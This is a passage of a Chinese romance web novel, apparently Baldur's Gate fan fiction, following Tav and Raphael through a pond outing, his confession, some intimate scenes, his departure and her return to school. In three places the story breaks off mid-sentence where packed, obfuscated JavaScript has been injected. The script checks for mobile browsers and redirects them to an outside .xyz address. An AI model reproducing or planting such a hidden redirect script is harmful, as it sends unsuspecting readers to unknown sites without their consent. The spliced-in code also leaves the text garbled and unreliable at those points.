她指挥着拉斐尔,往水塘中间走,结果脚下软泥突然下陷,水直接没到腰,拉斐尔冲过去想要捞住她,整个人也跟着陷了下去。 “哈哈哈!”塔夫却弯下腰,下巴贴着水面,双手收拢,“捉住了!诶诶诶,好滑!快来帮忙!” 拉斐尔已经在她身边。两人合力围堵,终于控制住了那条鳗鱼,又一起往岸上走。它始终没有放弃逃跑,拼命扭动挣扎,溅起的水直接飞到两人脸上。 回到岸边,往一个空着的大木桶里扔进鳗鱼,两个人全身已经湿透了。塔夫抱住拉斐尔止不住地欢呼大笑,甚至没有功夫回答明斯克的高声抗议:“那是我和小布的战利品!”以及卡菈克的调侃:“这下戴蒙可以回来了吧!” 既然已经湿透,塔夫没什么可在意的,玩得更起劲了。拉斐尔也终于脱掉水靴和袜子,又挽起衣袖和裤脚,加入她狙击大鱼的一轮轮游戏。 有这么多人在,还有鱼抓,塔夫自然没有和拉斐尔多亲近,甚至连对话也只有简单的“这里!”,“那里!”,或者一起发出的几声欢笑。然而她却觉得,自己和拉斐尔通过这次玩闹增进的亲密,不亚于之前的一次次长谈或拥吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465660|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她终于玩累了,还被太阳晒得有些头晕,慢悠悠蹚出水,一屁股坐在草地上。拉斐尔也跟着来到她身旁。塔夫仰头望望他,笑了笑,没说话,直接躺了下去。拉斐尔却离开了。塔夫伸手遮住眼睛,没有瞧他。拉斐尔很快回来,微微撑起她头和肩膀,把一件外套垫在她身下,又坐到她身旁,让自己的影子替她遮挡阳光。 塔夫歪了歪头:“我想枕在你腿上。” “我的裤子还在滴水。” “我头发也是。” 于是塔夫还是舒舒服服地枕在拉斐尔大腿上,又捉住他左手手臂要他指给自己瞧那条疤痕,果然要很仔细才能看出来。拉斐尔笑着搂住她。绵绵热意透过湿漉漉的布料,熨帖着脖子和肩膀,塔夫几乎有些昏沉,小腹却忽然一阵坠涨,接着是温热的湿意。 塔夫不可置信地弓了弓身,那感觉更加明显,甚至还添上好几下痉挛,突然又猛烈,疼得她一下哼出一声,脸色也白了几分。 她经期很少有反应。大概因为刚才玩水,身上一直是湿的,这次不但提前了,还很疼! 拉斐尔察觉不对:“哪里不舒服?” 塔夫脸上刚冒出些热意,又立刻被疼得变成惨白:“我得回去……姐姐……” . 最后,拉斐尔和卡菈克一起送塔夫回农场。 卡菈克和塔夫先走,拉斐尔落后一些。他先与明斯克几人简单说明塔夫不太舒服,又确认水塘填补漏洞注意事项,便立刻往回赶。 回到农场,贾希拉已经去镇上集会,不在家。卡菈克帮塔夫换下湿衣服,擦干身子和头发,再穿上睡衣。拉斐尔在厨房煮水,从橱柜里找到药茶包,带着茶杯和茶壶来到二楼。 “你可以进来。”卡菈克听到他特意变重的脚步声,提高声音。接着又低头对塔夫说,“哎呀,没必要道歉,这有什么的。好了好了,反正我也要回来换衣服。接下来?我一会当然会去庆典,和戴蒙一起过仲夏节,什么也没有耽误。” 塔夫一路上疼得几乎有些虚脱,眼睛都难以睁开,就着卡菈克的手喝了茶,又在姐姐的安抚中很快睡了过去。 . 醒来时窗外已能看到落日。 塔夫微微抬起头,支撑着想要坐起,就立刻被扶住,很快身后又被塞了一个枕头。 “想喝水吗?”低沉悦耳的声音。 “拉斐尔?”塔夫声音有些哑,“姐姐呢?” “去仲夏节庆典了。” 塔夫点点头,仍然疲倦,额头和背后都有些汗意。她望向拉斐尔。他已经换了一身衣服,看上去英俊又健康。两次,她和拉斐尔约好正式确认关系——对他来说则是准备正式告白。两次,都因为这种或那种原因没能实现。 不,这次还不一定。 塔夫下床去卫生间响应自然的召唤,拉斐尔则去厨房重新煮水。 她盯着镜子中的自己,简单拢了拢头发,洗洗脸,又把嘴唇咬得红润些,但看着还是病恹恹的,小腹更是又开始隐隐作痛,脚也有些发软。她叹了口气,坐回被子里,手下意识按在肚子上。 拉斐尔端着热茶回来。 塔夫喝了几口,没有放下茶杯,捧着暖手。 “对不起。”她低着头不去看拉斐尔,“我搞砸了。” “你没做错什么。”拉斐尔凑近吻吻她脸颊。 塔夫把刚才的想法告诉他,没忍住又说:“感觉像是个坏兆头。” 拉斐尔怔了怔,接过她手中茶杯放到床头。塔夫只觉得掌心一空,又被温暖重新握住。 “我喜欢你,塔夫。” . 88.告白 “我喜欢你,塔夫。” 拉斐尔语气十分郑重,眼神专情地望着她。 塔夫眨了眨眼睛:“……?” 拉斐尔抿住唇,喉咙滚动了下,塔夫反应过来:“我也喜欢你!”她不等拉斐尔说什么,大声重复一遍,“我也喜欢你,拉斐尔!” 拉斐尔像是松一口气,又立刻俯身抱住她。 塔夫手环在他肩膀上,忍不住笑道:“原来只有一句。我以为会有更多还在等后文呢。” 毕竟之前几周,拉斐尔说情话的时候可就远远不止这么一句。不过她很快便理解,如果一切按拉斐尔的计划,氛围肯定比现在浪漫许多,一句简单直接的话会比一大段告白更有冲击力。 见拉斐尔身子有些微微发颤,她笑着替他说:“一句话才更显得正式!更掷地有声!更少而精……”拉斐尔满脸通红地封住她的唇,两人交换了一个药茶味道的吻。 这个吻也许可以更缠绵一些,如果塔夫没有呻吟一声的话。 她小腹又开始疼了。 塔夫重新躺回床上,朝拉斐尔要茶杯:“暖手,然后好暖肚子。”见拉斐尔欲言又止的模样,她忍着疼和笑意,“唔,你的手肯定更暖和。” 拉斐尔立刻会意,或者本就想这样做。他弯下腰,手探进被子,隔着一层布料放在塔夫肚子上,又被她抓住伸进睡衣下摆,直接贴上皮肤。 “坐下来在我身边嘛,这样我们都更方便。”塔夫先是如此要求,接着又进一步要拉斐尔躺到她身旁,“反正你换了身干净的衣服,也没有出门。”见拉斐尔踌躇,她立刻可怜地哼哼起来,“我是病人。这次不是装病,是真的不舒服。” 终于,她满意地依偎在拉斐尔臂弯里,拉着他的另一只手暖暖地捂在肚子上,长长叹出一口气:“好像回到小时候,被妈妈照顾。” 拉斐尔似乎有些不自在,朝床边挪了挪身子。塔夫却朝他贴得更近些:“是这种舒服放松的感觉很像。我喜欢你,拉斐尔,是被你吸引的喜欢。” “我也是。”拉斐尔吻吻她的额头。塔夫立刻仰起下巴,把这个吻变成真正的吻,又伸出舌头在他嘴唇上舔了舔。拉斐尔犹豫片刻,还是含住她的舌尖,轻轻吮吻起来。塔夫慢慢松开捉住他贴在自己小腹上的手,刚要搭上他肩膀,拉斐尔已经后退一些看向她的眼睛,似乎想要确认她是否有什么需要。 塔夫也正望向拉斐尔。 太阳落下更多,他的瞳色加深了些,她能清楚地从他的眼睛里看见自己的倒影。塔夫心里忽然一阵悸动,几乎想要流泪,不仅仅是因为看到了拉斐尔,更是因为看到拉斐尔是真的在看着她。她当然知道拉斐尔喜欢她。可此时,只是因为这对视,她还是不能自已。 “拉斐尔。”塔夫声音有些颤抖,手指用力抚在他结实的肩膀上。拉斐尔侧过身,闭上眼睛重新吻住她。 这次他吻得很深,甚至有些急切,勾缠住她的舌头画圈似的啜吻,偶尔又亲亲她嘴角,或在她唇上咬一咬,始终没有停下。被她枕着的手臂很快牢牢环住她肩膀,贴在她小腹上的手也滑向她腰后,将她轻轻压向自己。 离开拉斐尔掌心热度后,塔夫小腹又开始有些坠坠的疼。她不由自主地靠向温度更高的地方,将肚子紧贴在拉斐尔身上,腿也自然地缠了上去。 两人呼吸都变得愈发急促起来。塔夫听见清晰的吞咽声,还有自己发出的舒服的鼻音。当她蹭上一处滚烫时,拉斐尔闷声吸了一口气,立刻松开她向后一弹,却差点掉下床,手勉强一撑又慌忙转头望向她:“塔夫……”他满脸通红,眼睛和嘴唇同样莹润。 塔夫反应过来后也有点难为情,但更多的是觉得拉斐尔讨人喜欢,抿唇笑着搂住他又往回拽。拉斐尔朝她重新侧过身,伸手捂在她小腹上,却也隔开一小段距离。塔夫抱着他的手臂微微蜷起身,终于忍不住很可惜地叹了口气。 像是在附和她的叹气,她的肚子跟着长长地叫了一声,音调相当凄婉。 塔夫:“……” 拉斐尔轻笑一声,很快站起身,又飞快俯身在她唇上亲了亲:“确实到晚餐时间了。” 那语音语调,还像是在庆幸这个时机刚刚好。 塔夫在心里打趣着拉斐尔,口头上则决定暂先放过他,来一次中场休息。 . 在拉斐尔的坚持下,塔夫彻底当了一回病人,被他照顾着在床上吃了晚饭。 ——卡菈克走之前和拉斐尔一起替她炖上鸡汤,放了好多新鲜豌豆和胡萝卜丁,非常适合病人。 然而,饭后收拾妥当,当塔夫要拉斐尔重新回到床上两人继续拥抱时,他却拒绝了。塔夫立刻说小腹不舒服,他又不知从哪里找来一只热水袋,用毛巾包好,热乎乎地贴在她肚皮上。 温度恰到好处,塔夫暖地长出口气,坚持道:“还是你更舒服!” 拉斐尔有些无可奈何的样子:“塔夫……” 塔夫被他那声唤得心里痒痒的,哼哼半天,终于还是抱住热水袋:“那你还是坐在我身边陪我,让我可以靠着你好吗?” 之前的谈判小窍门生效!拉斐尔没有办法拒绝她第二次,重新坐回她身旁,可惜腿始终搭在床边。 “我想坐在你怀里。”塔夫连忙纠正自己。 这次拉斐尔没有同意:“等你好些了再说。”他的声音格外充满磁性,温言提议道,“如果无聊的话,我坐在一旁念书给你听,怎么样?” 塔夫像是被诱惑了,点点头。 拉斐尔的嗓音念书一定会很好听,而且念着念着,就能神不知鬼不觉地靠到他身上更多啦。 拉斐尔起身点灯,又去拿书,却是之前从她们这里借的那本。不过他并没有翻开,因为塔夫望见窗外天黑,问起他为仲夏节做的那些准备要怎么办。 今晚大概是没办法换裙子了,酒也最好别喝。不过甜点,倒是可以尝一尝。 可惜拉斐尔再次没同意:“基底是覆盆子冰淇凌。太凉。” 塔夫抗议:“有基底,那意味着肯定也有其他的。” “的确有马卡龙和蛋白霜做的装饰。所以空口吃太甜。” 塔夫软声:“怎么能订了却不许我吃。” 她把后半句“那你订了干嘛”吞下去,声音变得更甜,“我现在特别想吃甜的。特别特别想。” 拉斐尔瞧了她一会,忽然伸手捧住她脸颊,俯身给她一个湿乎乎的深吻。 “刚才够甜吗?”他直起身,笑着冲她挑下眉毛,还特意舔舔嘴角。 塔夫又好笑又有点吃惊:“你怎么一下变得这么……蜜里调油的!” “哦?我?”拉斐尔模仿她刚才甜腻的口吻,“特别想吃。”他学着说完自己先笑出一声,清了清嗓子,这才晃晃手中的书,“既然刚才太油太甜,我们不如换点平淡的,中和一下。” 塔夫脸有点发烫。 她吃不到的何止是甜品,还有拉斐尔。 可是越吃不到越想吃,塔夫反悔自己刚才同意他的提议,开始胡乱找理由:“我也看过这本书,还记得住。”所以我们还是做点别的吧! “我倒是有些忘记了。”拉斐尔一脸认真,“讲的是什么?” “……”塔夫无语地瞥他一眼,“我看上去这么好骗吗?” 拉斐尔重新吻吻她:“等你身体好些了。”他声音放低,“我们不需要再等到一个特别的时刻。” 塔夫抬眼望着他,也下意识放低音量,悄声道:“那我们就这样说定了,下一次……” 不过轻声两句再对视片刻,房间里气氛就重新变得暧昧起来。塔夫忍不住伸出手,放在拉斐尔腿上,她没什么目的,只是想和他更亲近,手指不轻不重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14473537|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他结实的肌肉上划着。拉斐尔一直看着她,最后垂下眼睛,手覆在她手背上,又交握着轻轻扣住。 他耳朵有些染红,呼吸似乎也变得有些重。塔夫抿住下唇,这对拉斐尔来说当然也是一种忍耐和克制。她慢慢收回手,只是靠在他身边:“念书给我听吧。” 拉斐尔这才重新望向她,轻轻“嗯”一声,低头翻开书。 两人一起长长呼出一口气,又再次相视而笑。 塔夫笑着说:“我已经想要改变主意了。” 拉斐尔也笑着清了下嗓子,却是真的开始一字一字念起来。 他嗓音悦耳动听,咬字清晰顿挫,哪怕塔夫知道这个故事,也还是很快就被吸引了。 ——西弗斯是个狡猾的人,几次骗过神明,试图逃避每个人凡人都不得不面对的终点:死亡。因此他受到惩罚,必须将一块巨石推上山顶。但巨石每次到达山顶后又会滚回山下,他的命运便如此永无止境又徒劳无功地重复下去。 虽然书的题目是《不幸》,但作者笔锋一转,认为西弗斯其实是幸福的。 “这种想法真是令人无法理解。”塔夫大发感慨。拉斐尔不置可否,她便立刻知道了他的态度,“你是赞同他的。” “赞同背后的逻辑。”拉斐尔斟酌说。 他并没有继续下去,塔夫忍不住替他讲出来: “虽然西弗斯身处不幸而且无法避免,但因为他意识到了这份痛苦,又把这痛苦看成是自身的选择,他就获得了自由和幸福?”她摇摇头,一下坐得笔直,“这态度实在有些居高临下,无视别人的痛苦。”她又连忙解释说,“我并不是在说你,只是讨论作者的想法。” “我知道。”拉斐尔笑着替她竖起背后的枕头。塔夫一边嘟囔着谢谢一边瞧着他,一脸期待地等待他的回复。拉斐尔在她唇边吻了吻,“你刚才说的便是关键。” “你是因为我不太舒服,怕讨论起来我太过激动吗?”塔夫表示自己一点问题都没有,接着补充上一点,“我还觉得这态度有点自欺欺人——没有任何其他希望的选择,根本算不上选择。” 拉斐尔又笑笑,终于还是说:“他的选择是在于如何面对这痛苦。” “可这并不会让痛苦消失。” “不会。但关键也不是逃避或者终结痛苦,而是意识到一切后,放弃希望的幻象,坦然接受惩罚,这本身就是一种反抗。他的幸福,就出自这种神也无法剥夺的力量。这层理解与你喜欢的剧本也有共通之处。” 塔夫很想说道理她都明白,可还是无法在情感上认同这种对他人不幸的评价,她也不觉得剧本中的角色感到幸福,恰恰相反,他们都各有各的痛苦。 此外,她很意外拉斐尔会在这件事上如此唯心,而且态度似乎和往常讨论时也有些不一样。他语气虽然依旧平静,却很坚定,没有保持中立的两方认可。 她忽然想起二人最初的几次接触。 她与拉斐尔的关系没有立刻结束,少不了她对他的拒绝,那大概也是一种反抗?还有威尔……塔夫有些不确定地开口: “当初威尔那件事,你其实并不是想看他低头,而是想看他如何反抗吗?” 拉斐尔挑了下眉毛,显然没想到她会在这个时候突然问起威尔。他又仔细瞧了瞧她,这才轻哼一声:“乐趣是相同的。”便直接结束了对话。 塔夫:“……” 总觉得拉斐尔关注的重点迅速偏离,但似乎仍能够说明他并不只是喜欢嘲弄别人的不幸?而且威尔反抗的对象也不一定是拉斐尔。 她垂眸思索着,不自觉慢慢皱起眉。拉斐尔伸手替她把头发捋到耳后,好更清楚地看到她的眉眼:“你还在想……威尔?” 塔夫好笑地抬眼望向他:“我是在想你,拉斐尔。你觉得自己被困住了吗?” . 89.束缚 拉斐尔怔愣,很快弯了弯唇:“为什么这么问?” 听到这熟悉的把问题抛回来,塔夫忍不住叹口气。 不过她承认自己的联想的确有些跳跃,同拉斐尔解释起来。 面对西弗斯,她在一旁看着他做无用功,判断他的遭遇很不幸。而另一个旁观者即是作者却对她说,西弗斯其实感到很幸福。两人看事情的角度不一样,大概谁也说服不了谁。 可是如果她把自己代入西弗斯的境地,她则根本不想在乎旁人是怎么看她的,因为她总是没办法逃脱这惩罚。可怜她遭遇的人,她不喜欢,声称她是幸福的人,她也同样不喜欢。但她希望自己心里能够感到幸福,哪怕这种幸福与快乐、轻松、愉悦、甚至希望都没有关系。 至于那个问题,她也说不好是怎么忽然想到并问出口的: “大概是因为贵族有很多束缚?比如你必须保持中立、不能随意评价一些事之类的。” “也许的确有些许限制,但我不会称自己被困住。”拉斐尔嘴唇绷紧片刻,又变成微笑, “正相反,我因这身份拥有许多人穷其一生也无法积累的财富,也拥有很多人梦寐以求的机会。如果我无视这些反而认为自己是不幸的,那也太过……” 他顿了下,隐约有些不快,却一时无法探明原因,也许是因为塔夫刚才提到了威尔,而这对话也令人感到熟悉。最后,他还是用了威尔的形容: “矫揉造作与无病呻吟。” 塔夫犹豫说:“可承认自己很幸运拥有很多东西,和感觉到不好的压力或情绪,这两者不一定是矛盾的啊。”她又立刻补充,“我并不是非要你说你有某些压力、或者感到不快乐。” 拉斐尔在她脸颊上吻了吻:“我很满意我的生活,塔夫。我现在感到很幸福。” 他放下书,重新吻住她。 塔夫还想说什么,拉斐尔已经顺势探入她齿关,缠住她的舌头,又像是要证明什么似的,在她口腔里翻搅着,响亮地吮吞她的口津。那声音既诱人又让人有些脸热,等他终于放开她的时候,两人唇间甚至勾出晶亮水线,塔夫也已经变得气喘吁吁。 拉斐尔表情则有些晦暗,拇指在她唇边擦了擦,轻抚过她下唇,贴着牙齿重重压在她舌头上。他始终垂着眼睛,看着她的嘴唇,虹膜颜色似乎更深。塔夫合齿轻咬住,接着舌头用力把他的手指顶了出去,又立刻亲了亲。 “我也感到幸福,拉斐尔。” 拉斐尔望向她双眼,开始慢慢抚摸她的脸颊和脖颈。塔夫偏头枕在他掌心,稍稍扬起下巴:“继续亲我呀。刚才那个吻感觉特别好。”拉斐尔忽然笑了下,俯身含住她嘴唇,又重新加深这个吻。 . 仲夏节最后以一场突如其来的暴雨收尾。 塔夫那个时候已经睡着,第二天才得知姐姐和戴蒙都被淋成了落汤鸡。 “只不过几秒钟,镇广场中心最大的那个篝火就被浇灭了!甚至连一丝烟都没能飘出来!”不过卡菈克心情很好的样子,又打趣塔夫,“你昨晚没能出去和拉斐尔约会,倒也不一定是件坏事。” 睡了一整晚,塔夫已经彻底恢复,一边喝茶一边应和着姐姐:“跟拉斐尔在一起,无论在哪里,或者做什么,都会让人很开心。” 卡菈克顿了好一会:“天啊。你让我鸡皮疙瘩都起来了。”她说完便立刻道别出门,嘴里仍然嘀咕着,“我的天啊。”她声音忽然提高,“哦,早啊,拉斐尔,昨晚谢谢你照顾塔夫。晚上再见啰。” “当然。这是我的荣幸。回见。”说话间,拉斐尔声音已经在塔夫身后。 塔夫便扭过头问他:“你刚才听到我和姐姐说了什么吗?” 拉斐尔喉咙轻轻滚动,最后只是点点头。 “那我就不用再对你讲一遍啦,说实话,我现在其实都有点难为情呢。”塔夫笑眯眯道。 “万分感谢你,塔夫!”大声回答她的却是卡菈克,“以及,我才没觉得你哪里难为情了。” 卡菈克转身离开,塔夫笑着仰起头,向拉斐尔索要早安吻。 . 雨后正式进入旱季,农场的活计更加繁重起来。 卡菈克这天回来得比平时要晚一些,塔夫已经把炖菜的主要食材都洗净,正准备开始切。卡菈克换过衣服,很快来帮忙。 “还好我们几年前决定不再种葡萄。” “我记得!它们恨不得每天浇三次水才够。” “那头倔驴更挑了。哪怕水槽里还有水,也必须换了新的才肯喝。” “是嫌水太烫嘴了吗?” 姐妹俩边做晚餐边闲聊,接着回家的是贾希拉,她从镇上带来包裹和信函:“卡菈克,你的订阅。塔夫,学校的信。还有一封,是给拉斐尔的。” . 塔夫很好奇,不过直到复习结束后她才问起。 更准确来说,是拉斐尔主动提起的:“我恐怕明天就需要离开。”他邀塔夫进房间细说。那里和两个月前一样,几乎没有人住过的痕迹。 二人这次一起在床边并排坐下。塔夫垂眼看着身下床单,拉斐尔那片陷进去得要深些。 “是因为那封信吗?”她开口问。 “是的。”拉斐尔轻轻呼了口气,解释起来。 从邮戳日期判断,那封信应该一周前便寄来,否则他不需要离开得这么匆忙。事实上,哪怕他今晚就出发,仍无法按时赶到。 “是家族的事。”拉斐尔犹豫片刻,“与之前提起的贵族合作协议有关。” 这次他没有“不能”说,甚至告诉了塔夫许多她不确定是否可以知道的细节。 合作协议的确有重启的计划。 与前一次涵盖各方面的综合协议不同。这次,在一项总协议下会分成若干小合作:经济、安全、社会文化等。小合作之间是相互联系的有机整体,却也彼此独立。 拉斐尔早已开始接手一些家族事务,这回的合作协议也不例外。他目前主要负责的是社会文化,包括一个以他命名的慈善基金会,几个奖学金评审委员会,以及若干促进学生和学者交流的项目和计划。 当年主导这一合作协议的几位大贵族,这次应当是非常想要取得一些成果,尤其在分歧较小的领域,并以此为跳板,推进更全面的合作。 拉斐尔顿了下:“几天后的会议,讨论重点将是共同农业政策。” 他望向塔夫,“因此我希望能够亲自参与。” 塔夫忽然感到一种压力。 那来自拉斐尔在期待她的理解与支持,但又远不止如此。 她似乎能够影响拉斐尔在协议上的立场和决定。 然而这个决定影响的不仅仅是她和家里的农场,还有其他也许是支持农业合作的佃农。可她原本是没有这种力量的,哪怕现在,这力量也并不是来自她自己。这对其他人公平吗? 当她意识到自己拥有这种权力,不得不思考自己的立场可能对别人产生的广泛影响时,她感到……被束缚住了一些。 原来是这种感觉。 塔夫嗓子有些发干,咽了咽口水:“当然。”她发现自己声音还是有些紧绷,又握住拉斐尔的手,“你去吧。希望一切顺利。” “谢谢。”拉斐尔沉默片刻,“虽然我无法向你承诺某一结果……” “我没有期待任何结果!”塔夫几乎是立刻说。 拉斐尔这次沉默得更久,最后道:“最低限度,我可以提前告诉你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14479970|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进展,至少能够帮助你们做好准备。” “这已经比我期待中的要多得多。”塔夫点点头。 拉斐尔很快说起这次会议的安排和时间,地点在深水城附近,离博德之门也有几天路程。 “我们下次再见……”他说得有些艰难,“恐怕就是开学。” 他明显仍有话想说,但几次尝试开口却都顿住。 塔夫瞧拉斐尔脸慢慢涨红,大概能猜到他的话:“别担心,我可以等,我们干脆就定在下次再见的时候好了。” 她声音放低些,“我知道你也在期待就很开心。这样可能更好。家里妈妈姐姐都在,真要做的话我其实还有点难为情呢。” 她想起早上卡菈克的反应,忍不住笑出声:“这次是真的感到难为情。” 拉斐尔也笑起来,吻吻她的唇角。塔夫伸手揽住他的脖子,他很轻地叹了口气,深深吻住她,又很快将她抱到自己腿上亲吻,和往常一样,捉着她双腿环在自己腰上。 也许是因为明天就要离开,他这次甚至主动解开纽扣,邀请塔夫手伸进他衬衫之中。 塔夫手有些凉,掌下皮肤更显得滚烫。从肩膀,到胸膛,到小腹,她抚摸拉斐尔结实的肌肉,每向下一处,都能感到他的呼吸变得粗重一些,埋在她头发里的手指抓得更紧,吻也会突然变得更激烈。当她指尖沿着腰侧抚向他的后背,又顺着背中那条清晰的沟线打着圈继续向下,几乎要探向他臀上时,拉斐尔甚至猛地颤抖了下,在她唇边轻喘一声,手松开她撑在床上,身子向后半仰着调整呼吸。 塔夫感到身下变化,却忍不住蹭了蹭。那里撑起得更厉害,拉斐尔也跟着轻哼一声,几乎有些痛苦的意味。塔夫手扶在他肩膀慢慢直起身,由坐变成半跪在他身上。 她垂眼望着拉斐尔微微张开的湿润的嘴唇,绯红的脸颊,长长的睫毛。他也正仰头看着她,眼里像是带着某种恳求。塔夫几乎觉得两人间的视线潮湿得能够滴出水来,也许足够浇灌整个农场。她忍不住微笑起来。 拉斐尔忽然坐直环住她,搂得很紧,手指几乎陷进她的皮肤。 “塔夫,你会……“他嗓子有些哑,轻咳一声才说,“我会想念你的。” 塔夫在他头发上亲了亲:“我们很快就会再见。” 拉斐尔似乎还想说什么,但只是抱得更紧,又深深吸了一口气:“是的。” …… . 拉斐尔在第二天一早离开。 除了塔夫、卡菈克和贾希拉一家三口,明斯克也捧着小布来送他,而且看上去是众人中最难过最遗憾的那个。他伸出粗壮手臂狠狠揽住拉斐尔:“你是个好小伙子,拉斐尔!很有力气!很有耐心!” 小布也伸出爪子,整只鼠鼠在拉斐尔脸上贴了好一会:“吱!” 明斯克没有翻译,因为他看上去要哭了。 当拉斐尔感谢她们的照顾,接着邀请四人一鼠这个冬天去南方、一起在海边度假过冬时,明斯克又一把紧紧揽在贾希拉肩头,很大声地吸了吸鼻子:“唉,我们年纪大了,农场冬天虽然……也有活计走不开!所以你和塔夫自己去就好啦!毕竟不小心撞见年轻人亲热实在是有点尴尬。” “明斯克!”贾希拉压低声音,但语气中好笑无奈又嫌弃的意味一点都没有少。 卡菈克笑着补充:“我们当然也欢迎拉斐尔你再来农场。” 这冲淡了塔夫心里的许多低落。 她和拉斐尔的道别很快,几乎只是贴贴面颊,又碰了碰嘴唇。最后拉斐尔握住她的手,在她掌心轻轻吻了下,又一次说:“我会想念你的,塔夫。” 塔夫笑着给他一个比明斯克还紧的拥抱:“我们学校见。” . 90.回校 农场生活规律,四周时间过的很快。 更准确来说,塔夫在农场只待了三周,又有整整一周花在回学校的路上。 抵达博德之门时是中午。 她深深吸了一口气,嗅到海港的味道。 湿润而粗粝的咸腥味,海水被太阳暴晒蒸腾后留下的淡淡苦涩,还有木板被海水浸润后泛出的微腐的甜香气。 她回来了。 . 塔夫登上回学校的公共马车。车厢里已经坐了四个人,其中一位和她有两面之缘——自卫课上的女生,莱泽埃尔。她也认出塔夫,两人攀谈起来。 莱泽埃尔开学念大二,还没有确定专业,因为想成为一名探员,正在犯罪学和心理学之间犹豫不决。塔夫便告诉她拉斐尔的情况,又道: “也许你可以先修两个专业重叠的课程,稍后再做决定。” 莱泽埃尔回复“这建议值得考虑”。两人很快又说起那次自卫课,她问塔夫是否仍在练习,表情和语气始终有些严肃,让人说不好她是在调侃还是认真。 塔夫诚实摇摇头:“好多已经忘掉了。”也许除了那一个招式。 “实践比理论更有帮助。”莱泽埃尔评价道,“可惜这种课太少,也没有练习和实战机会。” 塔夫忍不住兴奋说:“我有过一次实战经验!”在莱泽埃尔的要求下,她虽然没有提诺亚的名字,但详细分享了当时击倒他的每一个细节,说到最后不免有些得意,“别看他长得比我高比我壮,却还是被我放倒了!” “后来呢?”莱泽埃尔追问。 “什么后来?” “他被抓起来了吗?处罚是什么?” “没有……”塔夫怔愣好一会,意外发现自己居然一次也没有好奇过诺亚,又立刻把这烦心的人丢到脑后。 莱泽埃尔紧紧抿着唇,高高扬起眉毛。那表情明显是,塔夫刚才一番话在她那里的可信度大大降低,甚至十分可疑。 “他受到了惩罚。非官方的。”塔夫只好补充道,“我踢了他一脚。可惜不在,咳你知道的,关键部位。”她又暗自感慨,自己真是被拉斐尔影响了,居然用上这种有意误导别人理解,外加转移焦点的说话方式。 莱泽埃尔大笑几声,迅速变回严肃的一张脸:“你说的这个被放倒的人,其实是上次一起学自卫术的拉斐尔吧?” 塔夫:你的脑回路比我还跳跃啊! 马车里的氛围忽然变成莱泽埃尔对她的审讯。对这突如其来的压迫感,塔夫一边在心里大呼莫名其妙,一边却下意识地替自己分辨起来: “没有……你听我解释……是这样的……” 好在她很快反应过来,只说几句就停下,却没忍住对莱泽埃尔添上一句:“你一定会成为一个很好的探员。” 莱泽埃尔露出难得的微笑:“我知道。”她又立刻板起脸,“所以你刚才的意思是,案发当时,拉斐尔也在现场?” 塔夫:我是在讽刺!你怎么还真的角色扮演上了! 她干脆也板起脸,直接回道:“我不认为我有义务向你解释这些。” 莱泽埃尔一怔,不再说话。 也许是因为拉斐尔的名字,另外几人明显好奇地竖着耳朵,现在都慢慢放下,却相互交换起视线。 车厢中气氛十分尴尬。 马车又走一阵,莱泽埃尔轻轻碰了碰塔夫手臂。塔夫转过头,莱泽埃尔仍绷着一张脸,眼睛死死盯着自己的膝盖,声音同样紧绷,低声僵硬说:“刚才。不好意思。” 塔夫笑了下,小声回:“没关系。” 见莱泽埃尔仍有些不自在的样子,塔夫还是把之前那事简单说明,以示自己没有生气:“拉斐尔确实也在,并且要求那个人向我道歉。” 说完她很快拿出考试笔记装作学习。 真的沉浸入复习前,塔夫心里却想了更多。比如她再次发现自己吃软不吃硬,而莱泽埃尔也有不少地方让她想起拉斐尔。她又忍不住微笑起来,这么短短一段路,她到底想起拉斐尔多少次。 …… 满头大汗地放好行李,塔夫洗了个澡,这才去自助餐厅吃晚饭。 离正式开学还有三天,已经有不少学生回来,还有提前一周来学校的大一新生,一眼便能看出她们眼中的兴奋和新鲜。那是一种极为吸引人的生机勃勃,让塔夫不免想起拉斐尔。他的脸和身体也总是充满着蓬勃的力量和活力。 拉斐尔的名字又一次跳出来后,塔夫终于轻轻叹了口气,咽下最后一口餐后水果,没有犹豫太久,沿着冲萨河朝一个方向走去。 . “拉斐尔回来了吗?” 开门的是一位男仆,看向塔夫的眼神不乏审慎:“你是?” 塔夫心里忽然一阵紧张,刚要生出退缩的念头,哈勒普的声音已经响起: “唷。这不是小塔夫吗?” 她被笑眯眯的哈勒普迎进大门,终于第一次有机会看到这栋房子里面的样子。 和赛艇俱乐部差不多,铺着大理石的门厅,繁复的水晶吊灯,对称的楼梯。虽然她说不出来家具或者装饰品的具体名堂,但能体会到一种昂贵又古老的气息。 “你是什么时候回来的?”哈勒普语气十分熟稔, “哦?也是今天!具体什么时候? 